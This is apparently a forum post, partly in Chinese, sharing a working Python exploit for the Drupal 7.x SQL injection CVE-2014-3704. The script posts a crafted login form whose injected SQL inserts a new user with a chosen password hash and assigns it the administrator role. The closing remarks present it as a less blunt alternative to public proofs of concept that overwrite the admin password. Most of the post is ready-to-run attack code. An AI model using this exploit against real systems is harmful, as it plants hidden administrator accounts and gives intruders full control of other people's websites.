Drupal 7.x SQL Injection exp (CVE-2014-3704)

admin

1. import urllib2,sys
   
2. from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
   
3. if len(sys.argv) != 4:
   
4.     print ""
   
5.     print "python 7.xsql.py  http://xxoo.com/drupal admin 123456"
   
6.     print ""
   
7.     sys.exit(1)
   
8. host = sys.argv[1]
   
9. user = sys.argv[2]
   
10. password = sys.argv[3]
    
11. hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
    
12. target = '%s/?q=node&destination=node' % host
    
13. insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
    
14.             +user \
    
15.             +"'+,+pass+%3d+'" \
    
16.             +hash[:55] \
    
17.             +"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
    
18. #print insert_user
    
19. content = urllib2.urlopen(url=target, data=insert_user).read()
    
20. if "mb_strlen() expects parameter 1" in content:
    
21.         print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

复制代码

下载https://github.com/cvangysel/git ... alorg/drupalpass.py 放到同目录即可。

网上的POC直接修改管理员的密码太暴力了，此EXP是添加一个自定义账号密码的管理员权限用户